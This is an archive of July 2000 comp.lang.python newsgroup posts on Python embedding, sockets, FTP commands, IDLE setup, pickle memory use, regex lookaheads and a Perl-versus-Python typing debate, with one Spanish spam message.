I'll play around with python, but I found the way to embed it totally
confusing. (That is, of course, because I have never worked with embedded
languages yet). Also, I find no tutorial that clearly tells me how to change
my C variable "X" from within my Python program "Y" that is invoked by the C
Program.


> Of course you can do it right too, but it'll cost lots of time and is
> definitely not easier.

I agree. I don't want to reinvent the wheel.

>
> > Or: Isn't it feasibble to pull of a stunt like ID software did with
their VM
> > files? These contain compiled C code that is loaded dynamically - and of

> If you want to script your game in C there isn't any problem. :)
>
> The idea of using a higher level language however is that you can use
> higher level constructs. Which, believe me, is often a lot easier than
> using C or C++.

Yes. Like [[ SELECT * FROM CoWorkers WHERE SEX="F" ]] is easier than finding
your possible future spouse in C or Assembler.


> I think this focus on speed is even for a game programmer the wrong
> approach. It's only too slow when you find it's too slow. You haven't
> found out Python's too slow for your purposes yet.

Hey! We coded a long time to get the engine to run at 300 fps with some
graphics load. We don't want the micro-AI scripting part to slow it down.

That is the AI clients's job. :-)

I think I'll go with Python, and if the performance problems become
dominant, I'll check that ASM concept of mine.




Thank you for the links! I'll have a closer look at them.

> Regards,
>
> Martijn


--
--
Moritz "Thygrrr" Voss
Client-Server & OpenGL Coder
spirit.link.studios - http://o2.ods.org





From mikael at isy.liu.se  Mon Jul 31 08:12:38 2000
From: mikael at isy.liu.se (Mikael Olofsson)
Date: Mon, 31 Jul 2000 14:12:38 +0200 (MET DST)
Subject: Python is wierd!
In-Reply-To: <8lku8v$nf8$1@gaia.cdg.acriter.nl>
Message-ID: <XFMail.000731141238.mikael@isy.liu.se>

On 25-Jul-00 Cees de Groot wrote:
 >  Intercal is weird (profoundly wierd, I'd say). Mostly everything else
 >  is a serious attempt to make programmer's lifes easier. At best it is
 >  perceived weirdness caused by where you come from (if you come from 
 >  Fortran, Perl is /really/ weird).

If you are looking for the weird, take a look at brainf***. Yes, that's
an obscene word. 

/Mikael

-----------------------------------------------------------------------
E-Mail:  Mikael Olofsson <mikael at isy.liu.se>
WWW:     http://www.dtr.isy.liu.se/dtr/staff/mikael               
Phone:   +46 - (0)13 - 28 1343
Telefax: +46 - (0)13 - 28 1339
Date:    31-Jul-00
Time:    14:02:30

         /"\
         \ /     ASCII Ribbon Campaign
          X      Against HTML Mail
         / \

This message was sent by XF-Mail.
-----------------------------------------------------------------------


From paul at prescod.net  Fri Jul 14 16:38:02 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 14 Jul 2000 15:38:02 -0500
Subject: proposal: accessor methods
References: <Pine.BSF.4.10.10007141454030.7715-100000@chi.pair.com>
Message-ID: <396F7A2A.ABE184@prescod.net>

Michal Wallace wrote:
> 
> Hey all,
> 
> I was just wondering if anyone else would find this useful:

Yes, accessor methods have been proposed many times and many people
would find them useful.Python very recently got a formal proposal
mechanism for ideas like this which come up over and over and over
again. That way pros and cons can be collected once and for all rather
than over and over. If you (or anyone out there) want to do a formal
Python Enhancement Proposal for accessor methods, contact me and I'll
point you to the right format.

Either an implementing patch or at least a suggestion of a good way to
implement it would also improve the likelihood of adoption.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html





From mad at sympatico.ca  Wed Jul  5 23:09:32 2000
From: mad at sympatico.ca (Duke)
Date: Thu, 06 Jul 2000 03:09:32 GMT
Subject: socket error
Message-ID: <MLS85.43422$W35.939414@news20.bellglobal.com>

I'm using Python 1.5.2 for Windows 98, and am trying to do some socket
stuff.  Copying an example right out of the manual (section 7.2.2), I get
the following error:

Traceback (innermost last):
  File "C:\Programming\Python\Tools\idle\ScriptBinding.py", line 131, in
run_module_event
    execfile(filename, mod.__dict__)
  File "C:/Programming/Python/socket.py", line 5, in ?
    s = socket (AF_INET, SOCK_STREAM)
NameError: socket

Here are the first 5 lines in the script:

# Test server script
from socket import *
HOST = ''
PORT = 50007
s = socket (AF_INET, SOCK_STREAM)

The example I'm using works fine on my Linux box Python interpreter, version
1.5.2.
Any ideas?
If you need more info on hardware or software, let me know.
Thanks,

    -- Duke.




From swekbw at barcelona.com  Wed Jul 26 08:31:01 2000
From: swekbw at barcelona.com (swekbw at barcelona.com)
Date: Wed, 26 Jul 2000 12:31:01 GMT
Subject: Ya tengo mi correo @barcelona.com  226
Message-ID: <9SAf5.365$yl5.159@telenews.teleline.es>

Por fin y tras varios traspies ya damos correo electronico gratuito tu nombre at barcelona.com. en www.barcelona.com

Ademas va incluida tambien la conexion gratuita para rtb, rdsi y rdsi128

Que las disfrutes!!!
xzwlprgnjnenlmzfxmwcdzoqwomioqemqyspfrrwgcczkpuzwvgsuwxilftubgijutlkcewere



From db3l at fitlinxx.com  Mon Jul 31 18:05:35 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 31 Jul 2000 18:05:35 -0400
Subject: ftp and lowercase?
References: <39832544.2E05FCFB@online.no>
Message-ID: <uvgxmnefk.fsf@ctwd0143.fitlinxx.com>

Stein Surland <ssurland at online.no> writes:

> The host did not take the LIST command so I changed it to LS and ls. It
> seems that the ftplib sends the list command in uppercase. How to change
> this to lowercase? I have ftp'ed to the host and it does not recognize
> LIST or LS only ls.

(I know that you resolved your issue later, but just an FYI)

Note that neither "LS" nor "ls" are valid FTP commands for use with a
server.  The commands for retrieving directory information are "LIST"
(name plus server-specific information) or "NLST" (name only).  The
commands - although often transmitted in uppercase - are case
insensitive (as long as the server conforms to the protocol).

What you were probably running into is that when you use "ls" in FTP
clients that support that command, they internally translate that into
a remote "LIST" command.  And often such clients (particularly those
modified from a Unix base) are case sensitive in parsing their command
lines.  In some clients you can enable debugging (e.g., "debug" or
something similar) and see the underlying commands being transmitted
in response to your entered commands.

ftplib exposes a reasonably raw interface to the FTP client/server
stream, so you need to work in terms of the real FTP protocol
commands, and not some of the command aliases that ftp clients may
implement.

You can get more information about the commands and how they work if
interested by reading the protocol specification (RFC959, or STD9),
available in any RFC repository (http://www.rfc-editor.org for one).
Section 4 covers the commands.

In your example, the reason you had problems is that placing a space
after the LIST command indicated that you were going to supply a
directory path that you wanted a listing of (see section 5.3.1 of the
spec).  So you were in violation of the spec for ending the command at
that point.  While I expect some (many?) servers would treat that as
no directory a bit more gracefully, rejecting the command is also valid.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From cknight at mail.arc.nasa.gov  Tue Jul 18 15:49:58 2000
From: cknight at mail.arc.nasa.gov (Chris Knight)
Date: Tue, 18 Jul 2000 12:49:58 -0700
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <8l2ce1$de2$1@sun500.nas.nasa.gov>

"Andrew Kuchling" <akuchlin at cnri.reston.va.us> wrote:
> This is a first experiment in whether I can make a useful,
> interesting, somewhat coherent summary of python-dev activity.
> If reaction is favorable, and time permits, it may become a biweekly
> posting.

It's very much appreciated, any possibility of (cross-)posting it to
c.l.p.announce?




From rumjuggler at cryptarchy.org  Fri Jul 28 04:58:56 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 08:58:56 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <slrn8o283n.qtv.nobody@isis.visi.com> <slrn8o2f2l.1e2.grey@teleute.rpglink.com>
Message-ID: <jri2oskm258te16o2ofj4dqmuh5130s15n@4ax.com>

On Fri, 28 Jul 2000 07:57:12 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>
>>No, it took a sequence containing a single element and turned it into a list
>>containing a single element.  list() only works on sequences.  'a' is a
>>sequence of length 1.
>
>    That is what I said.  It took a single element and made it a list with a
>single element.

No.

The single element is the string "a".  It took the *sequence* "a" and made
it a list.

>>> string = "a"
>>> result = []
>>> for character in string:
	result.append(character)

>>> result
['a']

That works because "a" is a single-element sequence.  Ditto ['a'] and
('a',).

If list() really took a single element and returned a list with that
element, as I've said previously, the result of list( ('a',) ) would be
[('a',)].

-- 
Barnabas T. Rumjuggler

Further-more, I have long since put the finishing touches on my own
official obituary, a 350-page tale of heart-rending loss which details,
among other things: my meteoric rise from Onion stringer to editor to
publisher; my assassination at the hands of lady-actress Ethel Barrymore's
jealous suitors; the thousand days of mourning which followed my death,
during which a cold rain fell constantly, no bird sang, and children were
born antlered and hooved; ...
 -- T. Herman Zweibel


From rloisel at helicon.net  Mon Jul 24 08:24:07 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Mon, 24 Jul 2000 08:24:07 -0400
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com> <8lfq6o$g07$1@nnrp1.deja.com> <397B96EE.9C62A45F@helicon.net> <xvNe5.11473$Gh.110433@news20.bellglobal.com>
Message-ID: <397C3567.18E4546B@helicon.net>

If I have to type the following in a dos prompt with no history or mouse support

every time I want to run a python program perhaps I'm asking the wrong
questions...

"C:\Your\Dir\Here>python  C:\Your\Dir\Here>python hello.py"

I may have in my ignorance downloaded PY5.2 which may be a beta version
that assumes that tk is already on my computer. What is the latest full
distribution
and where might I get that, and do I just need to delete the whole python
directory
before installing the version I download?
Someone please enlighten me - I've been using computers for 14+ years and am
about to give up on this project if the basic setup information isn't available.

rloisel


Olivier Dagenais wrote:

> In order to avoid having a window flash like that, you will have to use a
> DOS prompt and invoke your scripts from the command line like so:
>
> C:\Your\Dir\Here>python hello.py
>
> ...then, if there is something totally wrong that prevents programs from
> running, you'll know about it.
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
> "Rodney Loisel" <rloisel at helicon.net> wrote in message
> news:397B96EE.9C62A45F at helicon.net...
> > There is a _tkinter.pyd in the Python\dll\ but there is no Tk directory.
> Why
> >
> > would there be no Tk directory if Python seems to depend on it so much?
> > All I can do with this program is 'run Python' or select it from the start
> > menu
> > and I get a generic dos shell with  a >>> prompt an no shell features.
> > Clicking
> > on any *.py icon just opens and quickly closes a window before I can read
> > what's in it. I downloaded the program thru the Python web site and
> > installed
> > it by their instructions. Looks like I've wasted 25.00 on my new "Teach
> > yourself Python" book...
> > rloisel
> >
> > Sam Schulenburg wrote:
> >
> > > Usually the problem is IDLE can not find the Tk dll's. My solution has
> > > been to copy the Dll's from the Tk\bin directory to the Python\DLL
> > > directory.
> > >
> > > Sam Schulenburg
> > >
> > > In article <rcIe5.9147$Gh.74143 at news20.bellglobal.com>,
> > >   "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> > > > The Python binary might be in your path, but maybe the libraries
> > > aren't?
> > > >
> > > > --
> > > > ----------------------------------------------------------------------
> > > > Olivier A. Dagenais - Carleton University - Computer Science III
> > > >
> > > > "Rodney Loisel" <rloisel at helicon.net> wrote in message
> > > > news:397B0D93.6A5EE7CB at helicon.net...
> > > > > Changed the DOS properties not to close on exit
> > > > > the following is the result of
> > > > > import Tkinter
> > > > > several levels of error
> > > > > last:
> > > > > DLL load failed: one of the library files
> > > > > needed to run this application cannot be
> > > > > found.
> > > > > rloisel
> > > > >
> > > >
> > > >
> > >
> > > Sent via Deja.com http://www.deja.com/
> > > Before you buy.
> >



From aek at aek.dk  Fri Jul 14 16:49:56 2000
From: aek at aek.dk (Anders Eggers-Krag)
Date: Fri, 14 Jul 2000 22:49:56 +0200
Subject: Downside to using Python in ASP/MS IIS server side?
References: <3973b7ce.945183441@news.online.no>
Message-ID: <41Lb5.996$bb.24557@news101.telia.com>

Well there are other alternatives - I never understood why people use
VBScript,
rather than JScript, which would allow them to use the same scripting
language
both client side and server side allowing for more code reuse and a higher
degree of
learning and understanding the behaviour of the language

Admited be it that I am considdering Python, I also did about 6 months ago
but at that
time no one on this list could/would tell me how to handle Collections and I
gave up

Personally I will be looking deep into python for my next project and by
that time odds are
that you people have solved all the small issues that has made me stay away
from it till now :-)

anyway the point is that I think you should take a look at JScript too

Anders Eggers-Krag



"Thomas Weholt" <thomas at cintra.no> wrote in message
news:3973b7ce.945183441 at news.online.no...
> Hi,
>
> We`re trying to use Python as script-language instead of VBScript in a
> MS IIS/MS Site Server solution. We have to access a MS SQL 7.0
> database too. Does anybody have any experience in something like this?
> All we want is to get rid of VBScript. ( At least, for now ;->)
>
> Are there any obvios downsides to this? Will we get into trouble cuz
> Python cannot access the same stuff as VBScript etc. ??
>
> Any hints, advice or possible case-studies would be great.
>
> Thomas




From paul at prescod.net  Tue Jul 18 10:35:21 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 09:35:21 -0500
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <8kvdon$tit$1@slb3.atl.mindspring.net> <39734BB4.8C24B6E@prescod.net> <3973ef17.387124584@news.nikoma.de>
Message-ID: <39746B29.F5FE5FBB@prescod.net>

"Philip 'Yes, that's my address' Newton" wrote:
> 
> ...
> 
> Why would ex-Perl-on-Unix-users have to switch to Python if their
> platform disappeared? What makes you think (nearly) no-one on Mac OS or
> Win32 uses Perl?

I think Perl users on non-Unix platforms use Perl to be compatible with
Unix. Python's native support for those platforms is much more solid,
sophisticated and easy to use.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From moshez at math.huji.ac.il  Fri Jul 28 02:05:29 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 09:05:29 +0300 (IDT)
Subject: Local user modules?
In-Reply-To: <Pine.SOL.3.96.1000727103018.22972B-100000@condor.ee.washington.edu>
Message-ID: <Pine.GSO.4.10.10007280903170.4194-100000@sundial>

On Thu, 27 Jul 2000, Steve Juranich wrote:

> Without further ado, here's my question: Is it possible for a user to write
> a module in C/C++ and make that available to the Python interpreter
> *without* needing to edit systemfiles like
> ${PYTHON_HOME}/Modules/Setup.local?

This question is OS dependant, but for all OS's that matter, the answer is
yes. I'm sure about this answer about Linux, AIX, Solaris and all Windows
OSs. If you have a question about a specific OS, please bring it up...

> Is is possible for me to add NumPy to my Python path without actually
> sticking it in the main Python system path?

Yes.

> FYI, I know all about how to alter sys.path to add a directory like
> ~/Python/MyModules that would add modules implemented in Python, but how do
> I do the same thing for objects implemented in C/C++?

The same way: Python uses the same search path for both kinds of modules.

it-worked-for-me-ly y'rs, Z.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From jepler.lnk at lnk.ispi.net  Wed Jul 12 08:34:35 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Wed, 12 Jul 2000 12:34:35 GMT
Subject: Is pickle buggy?
References: <396B069A.9EBDD68B@muc.das-werk.de>
Message-ID: <slrn8mmpq7.he2.jepler.lnk@potty.dsndata.com>

On Tue, 11 Jul 2000 13:35:54 +0200, Thomas Thiele
 <thiele at muc.das-werk.de> wrote:
>Hallo! I try it again, becouse it is important:
>
>Why does this programm (pickle) eats memory?
>Why does pickle (marshal in it) not freeing the whole memory?
>
>And not cPickle eats more memory!

Augmenting the test program with:
class X:
	def __init__(self, s): self.s=s
I can also observe this behavior.

RedHat 6.2/python 1.5.2-13

I suspect, but haven't read the source well enough to know, 
that this has to do with the interning of strings. 

The following code will produce the memory leak without invoking pickle:

def uniquestring(): # the code to generate those unique 5-letter strings

while 1:
	eval(`uniquestring()`)

If you think this sucks, you're probably right.

Jeff


From jkraska1 at san.rr.com  Sun Jul 30 16:25:53 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 30 Jul 2000 20:25:53 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com> <39846ECC.DF5FE175@san.rr.com> <slrn8o92u3.171.nobody@isis.visi.com>
Message-ID: <39848FFE.948BF635@san.rr.com>

> >> >This is a conceptualization issue, and I suspect to a degree,
> >> >false. If "x" is merely a label, one can imagine x labeling
> >> >3 or x labelling red quite easily. Your analogy works because
> >> >you carefully framed it, but there's nothing at all to say that
> >> >your framing of it was right.
> >> >
> >> >To the contrary; while I can't prove it, I do believe it's wrong.
> >>
> >> Nobody expects a proof, but a just-as-carefully-framed
> >> counter-analogy would be a good start...
> >
> >I don't know why I'd need a carefully framed analogy at all.
> >The labelling concept speaks for itself, and in fact is the
> >way that some people teach python. It seems to be quite
> >intuitive.
> 
> I'm sorry, but I have no idea if you're agreeing or disagreeing with me.
> Are you claiming that in real life the operations you can perform on/with a
> physical object are not determined by the type of the object?

Not at all. I'm claiming that using real life operations was itself
a framing of the problem which isn't at all correct. I'd argue
that referring to a python variable as an arbitrary label to any
object is something which is quite intuitive to the novice programmer.

These same novices will also intuitively understand that, in the
situation where the label is currently labelling an object of a
particular type, certain operations are inappropriate for that
object. Which is exactly how python behaves.



C/


From embed at NOSPAM.geocities.com  Tue Jul  4 14:42:18 2000
From: embed at NOSPAM.geocities.com (Warren Postma)
Date: Tue, 4 Jul 2000 14:42:18 -0400
Subject: visual C++ giving runtime heap-check error in Py_Finalize(x)
Message-ID: <Fdq85.15710$227.290054@nnrp1.uunet.ca>

I have managed to get a repeatable (on my machine) version of either a
reference count or other related kind of nasty bug in my embedded C++
application when I call Py_Finalize.

The error I get is when trying to malloc some memory for a new object, the
malloc call senses corruption of a previously freed block of memory, after
the time it was last freed. here is the trace message that is printed out to
the visual C++ output window:

I get the following call stack:

NTDLL! 77f9f9df()
NTDLL! 77fcc8a1()
NTDLL! 77f87aa3()
NTDLL! 77fb3c33()
NTDLL! 77fa7131()
NTDLL! 77fca4cb()
_free_base(void * 0x005d8a40) line 96
_free_dbg_lk(void * 0x005d8a60, int 0x00000001) line 1116 + 9 bytes
_free_dbg(void * 0x005d8a60, int 0x00000001) line 1001 + 13 bytes
free(void * 0x005d8a60) line 956 + 11 bytes
string_dealloc() line 175 + 9 bytes
PyString_Fini() line 1112 + 88 bytes
Py_Finalize() line 242

What is happening is this:

In PyString_Fini it is freeing the set of characters 0 to 255. When freeing
character[17] I trace in, and it is calling  the standard C method "free()"
to release PyObject characters[17] which is the PyObject (string) memory at
0x5d8a90.    As you can see above, some pointer mangling ends up happening.

The reference count for the PyObject is 1 already, and the object itself
does not appear to be corrupt.  I added the line char *c =
PyString_FromString( characters[i] ); just to see if I could still get the
character values out of the strings, and they are all still there, and this
string does not appear corrupt in any way but the heap debug code prints
this warning and throws a debug exception:

HEAP[myprogram.exe]: HEAP: Free Heap block 5d8a90 modified at 5d8ab8 after
it was freed

The funny thing is that there are no other threads in there, so if anything
is modifying anything, then it's the malloc() code itself doing it.

Has anybody else had a problem like this ever?

Trick is, it does this both with my custom (statically linked) Python 1.5.2
and with the python15.dll also, so it's either (a) a bug in my code
somewhere, probably one of my C extensions somewhere or (b) something weird
in Python itself, which my code is causing to happen, but which is
definitely a bug in 1.5.2.  I am leaning towards (A) because it is 99.9999%
of the time always my fault! :-)

Warren Postma





From hinsen at cnrs-orleans.fr  Thu Jul 20 12:13:43 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 20 Jul 2000 18:13:43 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com>
Message-ID: <m3lmywlqyw.fsf@chinon.cnrs-orleans.fr>

Tim Hochberg <tim.hochberg at ieee.org> writes:

> Although, there's a fair amount of "symbol" space in this kind of operator
> scheme, but there's still an issue in that for dimensions greater than
> two, there's no way to specify which axis to apply the inner products
> on. I'm not sure there's any good way to do that with infix notation though.

Again APL comes to the rescue: add indices to operators. For example,
(+.*)[0,2] would be an inner product along axis 0 of the left operand
and axis 2 of the right one. On the other hand, I am not convinced
that such things are really that useful - you can always transpose
your arrays prior to applying complex operators. I would leave such
sophistications out of the discussion for now; one can always add them
later if there is really a need.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From edream at tds.net  Sat Jul  8 21:57:05 2000
From: edream at tds.net (Edward K. Ream)
Date: Sun, 09 Jul 2000 01:57:05 GMT
Subject: Borland C++ Builder make files for Python?
Message-ID: <3967DBDB.7FBDD3E5@tds.net>

I would like to build the Python interpreter and library using Borland
C++ Builder 4 so that I can embed Python in an app.  Does anyone have
such a makefile that works?

Thanks,

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From paul at prescod.net.bbs  Tue Jul 18 00:20:06 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 18 Jul 2000 04:20:06 GMT
Subject: Wherefore art thou, 1.6?
Message-ID: <3bRab5$m5r@openbazaar.net>

Manus Hand wrote:
>
> ...
>
> Can someone please post a status on 1.6?

Here's part of the story:

http://www.pythonlabs.com/news_sitelaunch.html

And the next part:

http://www.pythonlabs.com/tech/python2.html

And some more:

http://www.python.org/pipermail/python-dev/2000-July/011960.html
http://www.python.org/pipermail/python-dev/2000-July/012574.html

No news since.

--
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist


From laurent8 at sxb.bsf.alcatel.fr  Tue Jul 11 12:39:10 2000
From: laurent8 at sxb.bsf.alcatel.fr (Frederic Laurent)
Date: Tue, 11 Jul 2000 18:39:10 +0200
Subject: simple (?) re question
Message-ID: <396B4DAE.3FEF0B0E@sxb.bsf.alcatel.fr>

Hi, I try to have a regular expression that doesn't match if
a filename is composed of "SCCS", so I have


>>> r=re.compile(".*(?!SCCS.*$).*[.]java$")

and then

>>> r.match("/foo/bar/SCCS/s.file.java")
<re.MatchObject instance at 1f9898>

But it's wrong for me ! I was expected this file will not match.

I've got the same problem with an expression wich mustn't match
something that's ending with a java extension


>>> r=re.compile(".*[.](?!java$).*$")

with 2 dot, it doesn't work,

>>> r.match("/foo/bar/SCCS/s.file.java")
<re.MatchObject instance at 1f97e8>

but with only one, it's ok

>>> r.match("/foo/bar/SCCS/file.java")

so, what's the problem ?

thanks in advance,


-- 
Fr?d?ric LAURENT
mailto:frederic.laurent at sxb.bsf.alcatel.fr
T?l : (33) 03 88 55 70 00  poste 57228


From grey at despair.rpglink.com  Thu Jul 27 18:28:25 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 22:28:25 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl>
Message-ID: <slrn8o1do5.rt1.grey@teleute.rpglink.com>

On 27 Jul 2000 20:24:38 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>In the end if you want to add your data together, you need to know what
>the result will be. If you want to substract your data, you also need
>to know. 

    That all depends.  In python, yes, you need to know.  Why?  Because 1 +
"foo" doesn't work.  Sure, in perl you get 1, but you don't get blown out of
the water because of it.  OTOH, in Perl, if you meant to do a string addition
there is a different.syntax.for.that.  Because of this you know that "foo"
doesn't equal anything, IE, 0.

>What if your data is "foo" and you add them together? What if
>the user gave some input and you don't *know* what the user entered?

    Then that would be a user error, wouldn't it?  You can check for those
things.  If you're relying upon user input you don't need type checking to do
it.  

python:
try:
  b = b + 1
except TypeError:
  print "Numbers, stupid, not letters."

perl:
unless (int($a)){
  print("Numbers, stupid, not letters.\n")
}
$a++

    The difference comes when you do something like this:

(/^(\d{1,2})[Dd](\d{1,3})$/ || /^(\d{1,2})[Dd](\d{1,3})([\+\-])(\d{1,2})$/) 

    Perl or Python, doesn't matter, you should be able to read it.  Simple
regular expression to take die codes from RPGs (3D6+3, for example) and break
it down into the component parts regardless of their being a modifier to the
actual dice rolled.  What does this sample show?  Same thing that the previous
one did.

(/^(\d{1,2})[Dd](\d{1,3})$/ || /^(\d{1,2})[Dd](\d{1,3})([\+\-])(\d{1,2})$/) 
     $1             $2               $1           $2       $3      $4

    I already /know/ that the user supplied data are numbers!  The regular
expression has taken care of that for me.  That, right there, is my checking.  
You pass fooDfoo+foo through that filter then we'll have something to talk
about.  I don't need range telling me that I'm supplying an invalid data type
because, unless the re module is seriously broken, it isn't going to happen. 
To think that the only way to catch such errors is at the same level, when
something is called, is absurd.  Especially, as I said, when we are taking the
data type from context!  

    I mean, I know those are numbers, the regex prohibits numbers in 1,2 and
4.  I know 3 is going to be + or -.  That is all it can be.  But because regex
is considered a string operation it assumes that all returns are strings.
Because of this any assignments you make from those returns are going to be
strings unless you force them into another type.  This even though I not once
told it what type the data is!  If it is giving a type from the first
operation performed on that variable then why can it not also change types
based on subsequent operations?  

>I think in your case you usually need to remember what type your data
>is *anyway*, and what's worse you need to know what will happen to your
>data for various cases:

    Assumption: that data checking cannot be performed by the programmer.  

    False assumption, I've given two examples where the data will be what I
want because I have made the appropriate checks.  One comes right from the
program that I am porting to Python to learn Python.  In fact, that program
relies on user input every step of the way yet I've not had any problems
performing the operations I want to perform on the data.

>This may become quite unobvious in various cases, and may happen by
>accident, right?

    Doesn't mean the programming language should barf on it.  I am of the
opinion that a /lot/ more operations are performed where a lack of type
checking is a virtue than a bane.  I really dislike having to explicitely
declare data as a certain type just for an operation, especially after having
programmed in a language where such is not required and especially if I have
control of the dataflow throughout the entire course of its life.  Not only
does this cause problems for simple operations like extracting numbers with
regex to be manipulated with mathematics, but also internal data structures
where the author is defining things on the fly and needs to perform both
string and numerical operations on, say, the keys of a hash/directory.

>Though I understand the case for genericity, I don't really see it here.

    I see it the other way.  Though I understand the case for typing, I rarely
see a case where it is actually useful and, in fact, many cases where it is a
bane.  I'd much rather have to deal with the few cases when they arise than
the many cases when they arise.  For example, mathematics which require
roll-over at a certain number (unsigned int, for example).  This is more so in
a language which does have certain cases when types can change (int versus
float, for example) and the initial type is implicitly stated but requires an
explicit declaration to change that implicit type.  

    Either have all types be immutable regardless of context unless explicitly
stated or have all types mutable as best as possible based on context with the
option of explicit typing.  The half-and-half is just as confusing as a lot of
what a lot of Python pundants dislike about Perl.  Just like lists and
directories (does that include tuples?  I forget) being referenced but the
"single" data types (integer, character, I believe string, not sure) being
copied.  That is no less magical and confusing than, say, using an implicit $_
in a foreach loop or constructing a data loop from @lines into %lines using
$line to do it.  $lines{$line} = $line[$line] is always fun to bedazzle
newbies, isn't it?  No different than implicit typing, IMHO, except here I do
have cues as to what is a scalar, a hash and an array.

>But what if that makes no sense? What if I entered 'foo' in the config
>file where I needed to enter a number? Won't you get a weird bug now?

    OK, go ahead and do it in Python, what do you get?  An exception.

    Do it in Perl, what do you get?  The /possibility/ of odd behavior.

    The language doesn't know!  /I/ am the human.  /I/ am the smart one.  I
don't need a language to tell me that adding numbermatch.group(1) and
numbermatch.group(2) is invalid when they came from (\d*) constructs in a
regular expression.  They're numbers!  I made sure they are numbers!  Right
there, \d.

    And that is the whole point.  In both cases you have to do error checking.
The difference is that with the implicit types enforced it gets in the way.
I'd much rather the language assume I am smart enough do to my own checking
and assured that the data is valid than to assume I'm too stupid to do it and
crap the program out when something doesn't match what it /thinks/ is invalid
even though I have taken pains to ensure it is.

>This script won't do anything.

    Thank you for so stating the obvious, especially when I provided the
interactive mode right after it.

